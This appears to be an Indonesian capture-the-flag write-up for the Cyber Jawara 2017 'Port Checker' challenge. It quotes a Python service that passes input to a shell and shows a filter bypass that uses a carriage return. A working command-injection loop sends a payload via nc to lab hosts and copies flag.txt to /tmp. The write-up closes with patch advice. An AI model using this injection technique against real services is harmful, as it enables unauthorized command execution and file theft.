[Cyber Jawara Final 2017] Port Checker (200 Poin)

Masalah

Diberikan berkas source code port-checker.py dan layanan yang tersedia pada masing-masing server dengan port 11339.

Penyelesaian

Kode tersebut memiliki beberapa perintah yaitu help, check, check [Port] yang memiliki kegunaan berbeda-beda. Kami mulai menganalisis kode dan menemukan beberapa kelemahan pada source code.

    elif (cmd.startswith("check")):
        try:
          if (is_safe(cmd)):
              port = cmd.split()[1]
              ps = subprocess.Popen("netstat -nt | grep ':" + port + " '",
                                    shell=True, stdout=subprocess.PIPE,
                                    stderr=subprocess.STDOUT)
              output = ps.communicate()[0]
              if (len(output) > 0):
                  print "Port " + port + " is open"
                  print ""
              else:
                  print "Port " + port + " is closed"
                  print ""
          else:
              print "Please use 'check [port]' properly"
              print ""
        except:
            print "Error"

Pertama, terdapat modul subprocess yang menggunakan Shell dan dapat mengakibatkan Command Injection pada layanan yang tersedia. Hal tersebut dapat dilakukan dengan memanfaatkan Input port yang hanya dilindungi oleh proteksi Digit sederhana pada fungsi is_safe.

def is_safe(cmd):
    if (len(cmd.split(' ')) != 2):
        return False
    for c in cmd.split(' ')[1]:
        if (c < '0' or c > '9'):
            return False
    return True

Kemudian terdapat fungsi split yang lemah terhadap Whitespace apa saja, tidak hanya spasi. Kami melakukan injeksi pada masing-masing server dengan injeksi dibawah ini.

for i in {100..119};
do
        echo "check\r';cat<flag.txt>/tmp/xyz&&echo' 0" | nc 10.1.201.$i 11339 ;
done;

Kami membaca Flag dan menyimpannya pada berkas xyz di direktori /tmp. Untuk pengambilan Flag kami memanfaatkan Shell sebelumnya yang sudah kami dapatkan pada Challenge PHP.

Ini dia luarannya.

~ skipped ~
fbe10a3eca5e52f7415bf7b6ca4005c7d93cde8e2ee0ecf5fd88de2527f9a933

Patch

Untuk melakukan penambalah celah keamanan bisa dilakukan dengan menonaktfkan Shell pada modul subprocess dan mengganti kode tersebut layaknya pada opsi check saja serta bisa menambahkan sanitasi Input yang ketat pada variabel port.

results matching ""

    No results matching ""